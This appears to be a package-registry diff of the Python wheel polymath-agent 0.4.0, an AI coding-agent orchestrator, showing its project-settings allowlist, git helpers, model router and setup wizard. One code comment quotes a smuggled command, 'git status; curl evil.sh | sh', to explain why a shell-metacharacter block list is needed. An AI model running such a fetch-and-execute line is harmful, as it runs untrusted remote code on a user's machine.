polymath-agent 0.4.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (54) hide show
  1. polymath/__init__.py +2 -0
  2. polymath/adapters/__init__.py +7 -0
  3. polymath/adapters/base.py +175 -0
  4. polymath/adapters/claude.py +280 -0
  5. polymath/adapters/gemini.py +186 -0
  6. polymath/adapters/ollama.py +117 -0
  7. polymath/adapters/openai_adapter.py +168 -0
  8. polymath/bootstrap.py +159 -0
  9. polymath/command_registry.py +41 -0
  10. polymath/command_service.py +572 -0
  11. polymath/compressor.py +90 -0
  12. polymath/config.py +293 -0
  13. polymath/context_manager.py +76 -0
  14. polymath/context_store.py +336 -0
  15. polymath/detector.py +442 -0
  16. polymath/domain.py +78 -0
  17. polymath/execution_service.py +325 -0
  18. polymath/main.py +1293 -0
  19. polymath/memory/__init__.py +15 -0
  20. polymath/memory/chunker.py +6 -0
  21. polymath/memory/embedder.py +179 -0
  22. polymath/memory/migrate.py +2 -0
  23. polymath/memory/retriever.py +2 -0
  24. polymath/memory/store.py +9 -0
  25. polymath/memory/sync.py +2 -0
  26. polymath/memory/writer.py +9 -0
  27. polymath/model_policy.py +172 -0
  28. polymath/orchestrator/__init__.py +68 -0
  29. polymath/orchestrator/attempt_ledger.py +34 -0
  30. polymath/orchestrator/ensemble.py +229 -0
  31. polymath/orchestrator/fanout.py +322 -0
  32. polymath/orchestrator/output_policy.py +61 -0
  33. polymath/orchestrator/race.py +311 -0
  34. polymath/orchestrator/run_controller.py +91 -0
  35. polymath/orchestrator/speculative_review.py +120 -0
  36. polymath/orchestrator/state_responder.py +184 -0
  37. polymath/orchestrator/worker_pool.py +37 -0
  38. polymath/permissions.py +82 -0
  39. polymath/pipeline.py +700 -0
  40. polymath/project_config.py +229 -0
  41. polymath/project_runtime.py +109 -0
  42. polymath/router.py +127 -0
  43. polymath/setup_wizard.py +106 -0
  44. polymath/slash_commands.py +566 -0
  45. polymath/subagents.py +486 -0
  46. polymath/tools.py +333 -0
  47. polymath/ui_state.py +84 -0
  48. polymath/workspace.py +66 -0
  49. polymath_agent-0.4.0.dist-info/METADATA +693 -0
  50. polymath_agent-0.4.0.dist-info/RECORD +54 -0
  51. polymath_agent-0.4.0.dist-info/WHEEL +5 -0
  52. polymath_agent-0.4.0.dist-info/entry_points.txt +2 -0
  53. polymath_agent-0.4.0.dist-info/licenses/LICENSE +21 -0
  54. polymath_agent-0.4.0.dist-info/top_level.txt +1 -0
@@ -0,0 +1,229 @@
1
+ """
2
+ Per-repo .polymath/ project configuration.
3
+
4
+ When a .polymath/ folder exists in the current working directory (or any
5
+ parent), polymath treats it as the active project config source. This
6
+ folder is meant to be committed to git so settings are shared across the
7
+ whole team.
8
+
9
+ Structure:
10
+ .polymath/
11
+ ├── context/ ← 9 typed context .md files (same as ~/.polymath/projects/)
12
+ ├── commands/ ← custom slash command .md files
13
+ ├── subagents/ ← custom subagent configs (.md or .json)
14
+ ├── handoffs/ ← teammate handoff briefs
15
+ └── settings.json ← allowed_tools, allowed_shell_commands, model preferences
16
+
17
+ settings.json schema:
18
+ {
19
+ "allowed_tools": ["write_file", "run_shell_command"],
20
+ "allowed_shell_commands": ["git *", "pytest *", "npm *"],
21
+ "model_preferences": {
22
+ "primary": "claude",
23
+ "reviewer": "gemini"
24
+ }
25
+ }
26
+ """
27
+ from __future__ import annotations
28
+
29
+ import fnmatch
30
+ import json
31
+ import shlex
32
+ from dataclasses import dataclass, field
33
+ from pathlib import Path
34
+
35
+ from polymath.config import CONFIG_DIR
36
+
37
+
38
+ @dataclass
39
+ class ProjectSettings:
40
+ allowed_tools: list[str] = field(default_factory=list)
41
+ allowed_shell_commands: list[str] = field(default_factory=list)
42
+ model_preferences: dict[str, str] = field(default_factory=dict)
43
+ raw: dict = field(default_factory=dict)
44
+
45
+
46
+ @dataclass
47
+ class LocalProject:
48
+ root: Path # absolute path to .polymath/
49
+ context_dir: Path # .polymath/context/
50
+ commands_dir: Path # .polymath/commands/
51
+ subagents_dir: Path # .polymath/subagents/
52
+ handoffs_dir: Path # .polymath/handoffs/
53
+ settings: ProjectSettings
54
+
55
+
56
+ def find_local_polymath(cwd: Path | None = None) -> Path | None:
57
+ """
58
+ Walk upward from cwd looking for a .polymath/ directory.
59
+ Returns the absolute path of .polymath/ or None.
60
+ Mirrors git's upward-search behaviour.
61
+ """
62
+ start = Path(cwd or Path.cwd()).resolve()
63
+ for directory in [start, *start.parents]:
64
+ candidate = directory / ".polymath"
65
+ if candidate.is_dir() and candidate.resolve() != CONFIG_DIR.resolve():
66
+ return candidate
67
+ return None
68
+
69
+
70
+ def load_project_settings(polymath_dir: Path) -> ProjectSettings:
71
+ """Parse .polymath/settings.json. Missing keys use safe defaults."""
72
+ settings_file = polymath_dir / "settings.json"
73
+ if not settings_file.exists():
74
+ return ProjectSettings()
75
+ try:
76
+ data = json.loads(settings_file.read_text())
77
+ return ProjectSettings(
78
+ allowed_tools=list(data.get("allowed_tools", [])),
79
+ allowed_shell_commands=list(data.get("allowed_shell_commands", [])),
80
+ model_preferences=dict(data.get("model_preferences", {})),
81
+ raw=data,
82
+ )
83
+ except Exception:
84
+ return ProjectSettings()
85
+
86
+
87
+ def load_local_project(cwd: Path | None = None) -> LocalProject | None:
88
+ """
89
+ If .polymath/ exists in cwd hierarchy, load its settings and return a
90
+ LocalProject. Returns None if no .polymath/ is found.
91
+ """
92
+ polymath_dir = find_local_polymath(cwd)
93
+ if polymath_dir is None:
94
+ return None
95
+ settings = load_project_settings(polymath_dir)
96
+ return LocalProject(
97
+ root=polymath_dir,
98
+ context_dir=polymath_dir / "context",
99
+ commands_dir=polymath_dir / "commands",
100
+ subagents_dir=polymath_dir / "subagents",
101
+ handoffs_dir=polymath_dir / "handoffs",
102
+ settings=settings,
103
+ )
104
+
105
+
106
+ def is_tool_allowed(tool_name: str, settings: ProjectSettings) -> bool:
107
+ """Return True if tool_name is in the project's allowed_tools list."""
108
+ return tool_name in settings.allowed_tools
109
+
110
+
111
+ #: Characters that let one command string become several, or redirect output.
112
+ #: A preapproved command may not contain any of them. Globbing over a raw
113
+ #: string is not a safe test: the pattern "git *" matches
114
+ #: "git status; curl evil.sh | sh" too, because `*` matches a semicolon.
115
+ SHELL_METACHARACTERS = frozenset(";&|<>`$()\n\r{}!*?[]")
116
+
117
+
118
+ def has_shell_metacharacters(command: str) -> bool:
119
+ """True if the command could do more than run one program."""
120
+ return any(ch in SHELL_METACHARACTERS for ch in command)
121
+
122
+
123
+ def is_shell_command_allowed(command: str, settings: ProjectSettings) -> bool:
124
+ """
125
+ Decide whether `command` may run without prompting the user.
126
+
127
+ Matching is on the parsed argument vector, never the raw string, and any
128
+ command carrying shell punctuation is refused outright — it has to be
129
+ approved by a human, whatever the patterns say.
130
+
131
+ A pattern is matched token by token: "git *" allows "git status" and
132
+ "git push origin main", and each pattern token must match its argument.
133
+ A trailing "*" in the pattern covers the remaining arguments.
134
+ """
135
+ command = command.strip()
136
+ if not command or has_shell_metacharacters(command):
137
+ return False
138
+ try:
139
+ argv = shlex.split(command)
140
+ except ValueError:
141
+ return False
142
+ if not argv:
143
+ return False
144
+
145
+ for pattern in settings.allowed_shell_commands:
146
+ try:
147
+ pattern_argv = shlex.split(pattern.strip())
148
+ except ValueError:
149
+ continue
150
+ if _argv_matches(argv, pattern_argv):
151
+ return True
152
+ return False
153
+
154
+
155
+ def _argv_matches(argv: list[str], pattern_argv: list[str]) -> bool:
156
+ """Token-wise match between a command and one allowlist pattern.
157
+
158
+ Each pattern token is matched against the argument in the same position.
159
+ If the pattern's last token ends in "*" the command may carry further
160
+ arguments, which is what both "git *" and "pytest*" are asking for.
161
+ Otherwise the lengths must agree, so "git status" does not allow
162
+ "git status --porcelain".
163
+ """
164
+ if not pattern_argv:
165
+ return False
166
+ open_ended = pattern_argv[-1].endswith("*")
167
+ if len(argv) < len(pattern_argv):
168
+ return False
169
+ if len(argv) > len(pattern_argv) and not open_ended:
170
+ return False
171
+ for token, arg in zip(pattern_argv, argv):
172
+ if not fnmatch.fnmatch(arg, token):
173
+ return False
174
+ return True
175
+
176
+
177
+ def init_local_project(cwd: Path | None = None) -> LocalProject:
178
+ """
179
+ Create a .polymath/ folder in cwd with default structure.
180
+ Idempotent — safe to call on an existing project.
181
+ Returns the loaded LocalProject.
182
+ """
183
+ from polymath.config import CONFIG_DIR # avoid circular at module level
184
+ base = Path(cwd or Path.cwd()).resolve() / ".polymath"
185
+
186
+ for subdir in ("context", "commands", "subagents", "handoffs"):
187
+ (base / subdir).mkdir(parents=True, exist_ok=True)
188
+
189
+ # Default settings.json
190
+ settings_file = base / "settings.json"
191
+ if not settings_file.exists():
192
+ default = {
193
+ "allowed_tools": ["list_directory", "read_file"],
194
+ "allowed_shell_commands": [],
195
+ "model_preferences": {},
196
+ }
197
+ settings_file.write_text(json.dumps(default, indent=2))
198
+
199
+ # Bootstrap context files
200
+ _init_context_files(base / "context")
201
+
202
+ # .gitignore hint file
203
+ hint = base / ".gitignore_hint"
204
+ if not hint.exists():
205
+ hint.write_text(
206
+ "# Add .polymath/ to your repo's .gitignore ONLY if you want context private.\n"
207
+ "# By default, commit it — that's how teammates share context.\n"
208
+ )
209
+
210
+ return load_local_project(base.parent) # type: ignore[arg-type]
211
+
212
+
213
+ def _init_context_files(context_dir: Path) -> None:
214
+ """Create empty context .md stubs if they don't already exist."""
215
+ descriptions = {
216
+ "rules": "Golden rules and hard constraints — never break these.",
217
+ "logic": "Business and domain logic — how things work.",
218
+ "code": "Code patterns, conventions, and architecture.",
219
+ "stack": "Tech stack, dependencies, versions, environment.",
220
+ "data": "Data schemas, field definitions, sample data.",
221
+ "goals": "Project objectives, success criteria, scope.",
222
+ "decisions": "Past decisions and their rationale (ADR-style).",
223
+ "glossary": "Domain-specific terms and definitions.",
224
+ "personas": "Tone, behavior, and communication style.",
225
+ }
226
+ for name, desc in descriptions.items():
227
+ f = context_dir / f"{name}.md"
228
+ if not f.exists():
229
+ f.write_text(f"# {name.title()}\n\n> {desc}\n\n")
@@ -0,0 +1,109 @@
1
+ from __future__ import annotations
2
+
3
+ import subprocess
4
+ from pathlib import Path
5
+
6
+ from polymath.config import PROJECTS_DIR
7
+ from polymath.domain import Project
8
+ from polymath.project_config import LocalProject, load_local_project
9
+
10
+
11
+ def _git_root(cwd: Path | None = None) -> Path | None:
12
+ try:
13
+ result = subprocess.run(
14
+ ["git", "rev-parse", "--show-toplevel"],
15
+ cwd=str(cwd or Path.cwd()),
16
+ capture_output=True,
17
+ text=True,
18
+ timeout=3,
19
+ )
20
+ if result.returncode == 0 and result.stdout.strip():
21
+ return Path(result.stdout.strip())
22
+ except Exception:
23
+ pass
24
+ return None
25
+
26
+
27
+ def _git_branch(cwd: Path | None = None) -> str:
28
+ try:
29
+ result = subprocess.run(
30
+ ["git", "rev-parse", "--abbrev-ref", "HEAD"],
31
+ cwd=str(cwd or Path.cwd()),
32
+ capture_output=True,
33
+ text=True,
34
+ timeout=3,
35
+ )
36
+ if result.returncode == 0:
37
+ return result.stdout.strip()
38
+ except Exception:
39
+ pass
40
+ return ""
41
+
42
+
43
+ def _git_dirty(cwd: Path | None = None) -> bool:
44
+ try:
45
+ result = subprocess.run(
46
+ ["git", "status", "--porcelain"],
47
+ cwd=str(cwd or Path.cwd()),
48
+ capture_output=True,
49
+ text=True,
50
+ timeout=3,
51
+ )
52
+ return result.returncode == 0 and bool(result.stdout.strip())
53
+ except Exception:
54
+ return False
55
+
56
+
57
+ def resolve_project(active_project: str = "", cwd: Path | None = None) -> Project:
58
+ local_project: LocalProject | None = load_local_project(cwd)
59
+ repo_root = _git_root(cwd)
60
+ branch = _git_branch(repo_root or cwd)
61
+ dirty = _git_dirty(repo_root or cwd)
62
+ detached_exists = bool(active_project) and (PROJECTS_DIR / active_project).is_dir()
63
+
64
+ if local_project:
65
+ repo_project_name = local_project.root.parent.name
66
+ if active_project and active_project != repo_project_name and detached_exists:
67
+ return Project(
68
+ name=active_project,
69
+ source="local",
70
+ local_project=None,
71
+ repo_root=repo_root,
72
+ repo_branch=branch,
73
+ repo_dirty=dirty,
74
+ )
75
+ name = active_project or repo_project_name
76
+ return Project(
77
+ name=name,
78
+ source="repo",
79
+ shared_root=local_project.root,
80
+ local_project=local_project,
81
+ repo_root=repo_root,
82
+ repo_branch=branch,
83
+ repo_dirty=dirty,
84
+ )
85
+
86
+ return Project(
87
+ name=active_project,
88
+ source="local" if active_project else "none",
89
+ local_project=None,
90
+ repo_root=repo_root,
91
+ repo_branch=branch,
92
+ repo_dirty=dirty,
93
+ )
94
+
95
+
96
+ def project_provenance_lines(project: Project) -> list[str]:
97
+ lines: list[str] = []
98
+ if project.shared and project.shared_root:
99
+ lines.append(f"shared repo context active: {project.shared_root}")
100
+ if project.local_project and project.local_project.settings.raw:
101
+ lines.append(f"settings source: {project.shared_root / 'settings.json'}")
102
+ elif project.name:
103
+ lines.append("local runtime project only: no shared repo .polymath/")
104
+ else:
105
+ lines.append("no active project context")
106
+ if project.repo_root:
107
+ state = "dirty" if project.repo_dirty else "clean"
108
+ lines.append(f"git: {project.repo_root.name} | branch: {project.repo_branch or '?'} | {state}")
109
+ return lines
polymath/router.py ADDED
@@ -0,0 +1,127 @@
1
+ """
2
+ Task classification + model selection.
3
+
4
+ Priority order (configurable):
5
+ quality-first → claude-sonnet → gpt-4o → gemini-pro → haiku → gpt-mini → gemini-flash → ollama
6
+ cost-first → ollama → gemini-flash → gpt-mini → haiku → gemini-pro → gpt-4o → sonnet
7
+ speed-first → fastest available
8
+ balanced → quality+speed balanced
9
+ """
10
+ from __future__ import annotations
11
+
12
+ import re
13
+
14
+ from polymath.config import (
15
+ CostTier, ModelInfo, PRIORITY_PROFILES, TaskComplexity, TaskType,
16
+ )
17
+
18
+
19
+ # ── Task classification ───────────────────────────────────────────────────────
20
+
21
+ CODE_PATTERNS = re.compile(
22
+ r"\b(code|function|class|script|debug|fix|implement|refactor|test|"
23
+ r"python|javascript|typescript|java|sql|bash|regex|algorithm|api)\b",
24
+ re.IGNORECASE,
25
+ )
26
+ MATH_PATTERNS = re.compile(
27
+ r"\b(calculate|compute|solve|equation|integral|derivative|matrix|"
28
+ r"probability|statistics|formula|proof)\b",
29
+ re.IGNORECASE,
30
+ )
31
+ CREATIVE_PATTERNS = re.compile(
32
+ r"\b(write|story|poem|creative|essay|blog|draft|imagine|design|name|"
33
+ r"brand|pitch|marketing|ad|copy|brainstorm|ideas|suggest)\b",
34
+ re.IGNORECASE,
35
+ )
36
+ RESEARCH_PATTERNS = re.compile(
37
+ r"\b(research|explain|summarize|compare|analyze|review|evaluate|"
38
+ r"pros.?cons|trade.?off|overview|history|why|how does|background|context|investigate|study)\b",
39
+ re.IGNORECASE,
40
+ )
41
+ ANALYSIS_PATTERNS = re.compile(
42
+ r"\b(analyze|analyse|data|chart|trend|insight|report|breakdown|"
43
+ r"metric|performance|benchmark)\b",
44
+ re.IGNORECASE,
45
+ )
46
+
47
+
48
+ def classify_task(text: str) -> TaskType:
49
+ scores = {
50
+ TaskType.CODE: len(CODE_PATTERNS.findall(text)),
51
+ TaskType.MATH: len(MATH_PATTERNS.findall(text)),
52
+ TaskType.CREATIVE: len(CREATIVE_PATTERNS.findall(text)),
53
+ TaskType.RESEARCH: len(RESEARCH_PATTERNS.findall(text)),
54
+ TaskType.ANALYSIS: len(ANALYSIS_PATTERNS.findall(text)),
55
+ }
56
+ best = max(scores, key=scores.get)
57
+ return best if scores[best] > 0 else TaskType.GENERAL
58
+
59
+
60
+ def classify_complexity(text: str) -> TaskComplexity:
61
+ words = len(text.split())
62
+ has_multi = bool(re.search(r"\b(and|also|then|after|next|finally|step|split|separately|independently)\b", text, re.I))
63
+ if words < 15 and not has_multi:
64
+ return TaskComplexity.SIMPLE
65
+ if words < 50 or not has_multi:
66
+ return TaskComplexity.MEDIUM
67
+ return TaskComplexity.COMPLEX
68
+
69
+
70
+ # ── Model selection ───────────────────────────────────────────────────────────
71
+
72
+ def select_primary(
73
+ available: list[ModelInfo],
74
+ task_type: TaskType,
75
+ profile: str = "quality-first",
76
+ force_provider: str = "",
77
+ force_cheap: bool = False,
78
+ force_fast: bool = False,
79
+ ) -> ModelInfo | None:
80
+ candidates = [m for m in available if m.available and m.supports(task_type)]
81
+
82
+ if force_provider:
83
+ candidates = [m for m in candidates if m.provider == force_provider]
84
+
85
+ if force_cheap:
86
+ profile = "cost-first"
87
+ elif force_fast:
88
+ profile = "speed-first"
89
+
90
+ if not candidates:
91
+ # Fallback: any available model
92
+ candidates = [m for m in available if m.available]
93
+
94
+ if not candidates:
95
+ return None
96
+
97
+ sort_key = PRIORITY_PROFILES.get(profile, PRIORITY_PROFILES["quality-first"])
98
+ return sorted(candidates, key=sort_key)[0]
99
+
100
+
101
+ def select_reviewer(
102
+ available: list[ModelInfo],
103
+ primary: ModelInfo,
104
+ profile: str = "quality-first",
105
+ ) -> ModelInfo | None:
106
+ """Pick best available model that is NOT the same model as primary."""
107
+ candidates = [
108
+ m for m in available
109
+ if m.available and m.id != primary.id and m.quality >= 3
110
+ ]
111
+ if not candidates:
112
+ # Relax quality requirement
113
+ candidates = [m for m in available if m.available and m.id != primary.id]
114
+ if not candidates:
115
+ return None
116
+ sort_key = PRIORITY_PROFILES.get(profile, PRIORITY_PROFILES["quality-first"])
117
+ return sorted(candidates, key=sort_key)[0]
118
+
119
+
120
+ def select_summarizer(available: list[ModelInfo]) -> tuple[ModelInfo, str] | None:
121
+ """Pick cheapest+fast model for context compression."""
122
+ candidates = [m for m in available if m.available]
123
+ if not candidates:
124
+ return None
125
+ sort_key = PRIORITY_PROFILES["cost-first"]
126
+ cheapest = sorted(candidates, key=sort_key)[0]
127
+ return cheapest
@@ -0,0 +1,106 @@
1
+ """
2
+ First-run setup wizard.
3
+ Detects existing keys, prompts for missing ones, saves to ~/.polymath/config.json.
4
+ """
5
+ from __future__ import annotations
6
+
7
+ import shutil
8
+ from rich.console import Console
9
+ from rich.prompt import Prompt, Confirm
10
+ from rich.table import Table
11
+ from rich import box
12
+
13
+ from polymath.config import (
14
+ PRIORITY_PROFILES, load_config, save_config, CONFIG_DIR
15
+ )
16
+ from polymath.detector import detect
17
+
18
+ console = Console()
19
+
20
+ PROVIDERS = {
21
+ "claude": ("Anthropic (Claude)", "https://console.anthropic.com/settings/keys"),
22
+ "gemini": ("Google (Gemini)", "https://aistudio.google.com/app/apikey"),
23
+ "openai": ("OpenAI (GPT/Codex)", "https://platform.openai.com/api-keys"),
24
+ "mistral": ("Mistral AI", "https://console.mistral.ai/api-keys"),
25
+ "groq": ("Groq", "https://console.groq.com/keys"),
26
+ }
27
+
28
+
29
+ def run_wizard(force: bool = False) -> dict:
30
+ cfg = load_config()
31
+
32
+ if not force and cfg.get("_setup_done"):
33
+ return cfg
34
+
35
+ console.print("\n[bold cyan]polymath[/bold cyan] — first-time setup\n")
36
+
37
+ # 1. Priority profile
38
+ console.print("[bold]Model priority profile[/bold]")
39
+ for i, name in enumerate(PRIORITY_PROFILES.keys(), 1):
40
+ console.print(f" {i}. {name}")
41
+ choice = Prompt.ask("Choose profile", choices=["1","2","3","4"], default="1")
42
+ cfg["priority_profile"] = list(PRIORITY_PROFILES.keys())[int(choice)-1]
43
+
44
+ # 2. Detect & show what's found
45
+ console.print("\n[bold]Detecting installed models...[/bold]")
46
+ registry = detect()
47
+ available = [m for m in registry if m.available]
48
+
49
+ table = Table(box=box.SIMPLE, show_header=True)
50
+ table.add_column("Model", style="cyan")
51
+ table.add_column("Provider")
52
+ table.add_column("Tier")
53
+ table.add_column("Status")
54
+
55
+ for m in registry:
56
+ status = "[green]available[/green]" if m.available else "[dim]not found[/dim]"
57
+ table.add_row(m.display_name, m.provider, m.cost_tier.name.lower(), status)
58
+ console.print(table)
59
+
60
+ # 3. Offer to add missing API keys
61
+ missing_providers = {
62
+ p for p in PROVIDERS
63
+ if not cfg.get("api_keys", {}).get(p)
64
+ and not any(m.available and m.provider == p for m in registry)
65
+ }
66
+
67
+ if missing_providers:
68
+ console.print("\n[bold]Add API keys for missing providers?[/bold]")
69
+ for provider in missing_providers:
70
+ name, url = PROVIDERS[provider]
71
+ if Confirm.ask(f" Add key for [cyan]{name}[/cyan]?", default=False):
72
+ key = Prompt.ask(f" {name} API key (get at {url})", password=True)
73
+ if key.strip():
74
+ cfg.setdefault("api_keys", {})[provider] = key.strip()
75
+
76
+ # 4. Review rounds
77
+ rounds = Prompt.ask("\nMax review rounds per task", default="2", choices=["1","2","3"])
78
+ cfg["review_rounds"] = int(rounds)
79
+
80
+ cfg["_setup_done"] = True
81
+ save_config(cfg)
82
+ console.print("\n[green]Setup complete.[/green] Config saved to ~/.polymath/config.json")
83
+ console.print("[dim]API keys stored in plaintext at ~/.polymath/config.json — keep this file private[/dim]\n")
84
+ return cfg
85
+
86
+
87
+ def show_models() -> None:
88
+ registry = detect()
89
+ table = Table(title="Available models", box=box.SIMPLE)
90
+ table.add_column("Model", style="cyan")
91
+ table.add_column("Provider")
92
+ table.add_column("Quality", justify="center")
93
+ table.add_column("Speed", justify="center")
94
+ table.add_column("Tier")
95
+ table.add_column("Context")
96
+
97
+ for m in sorted(registry, key=lambda x: (-x.quality, x.cost_tier.value)):
98
+ if not m.available:
99
+ continue
100
+ table.add_row(
101
+ m.display_name, m.provider,
102
+ "★" * m.quality, "⚡" * m.speed,
103
+ m.cost_tier.name.lower(),
104
+ f"{m.context_window // 1000}K",
105
+ )
106
+ console.print(table)